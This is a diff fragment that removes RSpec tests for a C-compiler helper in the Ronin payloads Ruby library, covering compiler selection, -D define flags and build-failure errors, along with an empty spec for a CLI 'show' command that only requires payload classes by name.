- it "must return 'cc'" do
31
- expect(subject.cc).to eq('cc')
32
- end
33
- end
34
-
35
- after { ENV['CC'] = @cc if @cc }
36
- end
37
-
38
- describe "params" do
39
- subject { described_class }
40
-
41
- it "must define a :cc param" do
42
- expect(subject.params[:cc]).to_not be_nil
43
- end
44
-
45
- it "must default the :cc param to #{described_class}.cc" do
46
- expect(subject.params[:cc].default_value).to eq(subject.cc)
47
- end
48
- end
49
-
50
- describe "#compile" do
51
- let(:source_files) { %w[foo.c bar.c baz.c] }
52
- let(:output) { 'output' }
53
-
54
- it "must call system with params[:cc], the output and source files" do
55
- expect(subject).to receive(:system).with(
56
- subject.params[:cc],'-o',output,*source_files
57
- ).and_return(true)
58
-
59
- subject.compile(*source_files, output: output)
60
- end
61
-
62
- context "when the defs: keyword argument is given" do
63
- context "and it's an Array" do
64
- let(:def1) { 'foo' }
65
- let(:def2) { 'bar=baz' }
66
- let(:defs) { [def1, def2] }
67
-
68
- it "must append the values with '-D' flags" do
69
- expect(subject).to receive(:system).with(
70
- subject.params[:cc],
71
- '-o', output,
72
- "-D#{def1}",
73
- "-D#{def2}",
74
- *source_files
75
- ).and_return(true)
76
-
77
- subject.compile(*source_files, output: output, defs: defs)
78
- end
79
- end
80
-
81
- context "and it's a Hash" do
82
- let(:name1) { "foo" }
83
- let(:value1) { "1" }
84
- let(:name2) { "bar" }
85
- let(:value2) { "2" }
86
-
87
- let(:def1) { "#{name1}=#{value1}" }
88
- let(:def2) { "#{name2}=#{value2}" }
89
- let(:defs) { {name1 => value1, name2 => value2} }
90
-
91
- it "must append the values with '-D' flags" do
92
- expect(subject).to receive(:system).with(
93
- subject.params[:cc],
94
- '-o', output,
95
- "-D#{def1}",
96
- "-D#{def2}",
97
- *source_files
98
- ).and_return(true)
99
-
100
- subject.compile(*source_files, output: output, defs: defs)
101
- end
102
- end
103
-
104
- context "but it's not an Array or a Hash" do
105
- let(:defs) { Object.new }
106
-
107
- it do
108
- expect {
109
- subject.compile(*source_files, output: output, defs: defs)
110
- }.to raise_error(ArgumentError,"defs must be either an Array or a Hash: #{defs.inspect}")
111
- end
112
- end
113
- end
114
-
115
- context "when system() returns false" do
116
- let(:source_file) { 'foo.go' }
117
-
118
- it do
119
- allow(subject).to receive(:system).and_return(false)
120
-
121
- expect {
122
- subject.compile(source_file, output: output)
123
- }.to raise_error(Ronin::Payloads::BuildFailed,"cc command failed: #{subject.params[:cc]} -o #{output} #{source_file}")
124
- end
125
- end
126
-
127
- context "when system() returns nil" do
128
- let(:source_file) { 'foo.go' }
129
-
130
- it do
131
- allow(subject).to receive(:system).and_return(nil)
132
-
133
- expect {
134
- subject.compile(source_file, output: output)
135
- }.to raise_error(Ronin::Payloads::BuildFailed,"cc command not installed")
136
- end
137
- end
138
- end
139
- end
@@ -1,21 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/cli/commands/show'
3
-
4
- require 'ronin/payloads/binary_payload'
5
- require 'ronin/payloads/asm_payload'
6
- require 'ronin/payloads/shellcode_payload'
7
- require 'ronin/payloads/c_payload'
8
- require 'ronin/payloads/java_payload'
9
- require 'ronin/payloads/javascript_payload'
10
- require 'ronin/payloads/node_js_payload'
11
- require 'ronin/payloads/shell_payload'
12
- require 'ronin/payloads/powershell_payload'
13
- require 'ronin/payloads/coldfusion_payload'
14
- require 'ronin/payloads/php_payload'
15
- require 'ronin/payloads/sql_payload'
16
- require 'ronin/payloads/html_payload'
17
- require 'ronin/payloads/xml_payload'
18
- require 'ronin/payloads/mixins/typescript'
19
-
20
- describe Ronin::Payloads::CLI::Commands::Show do
21
- end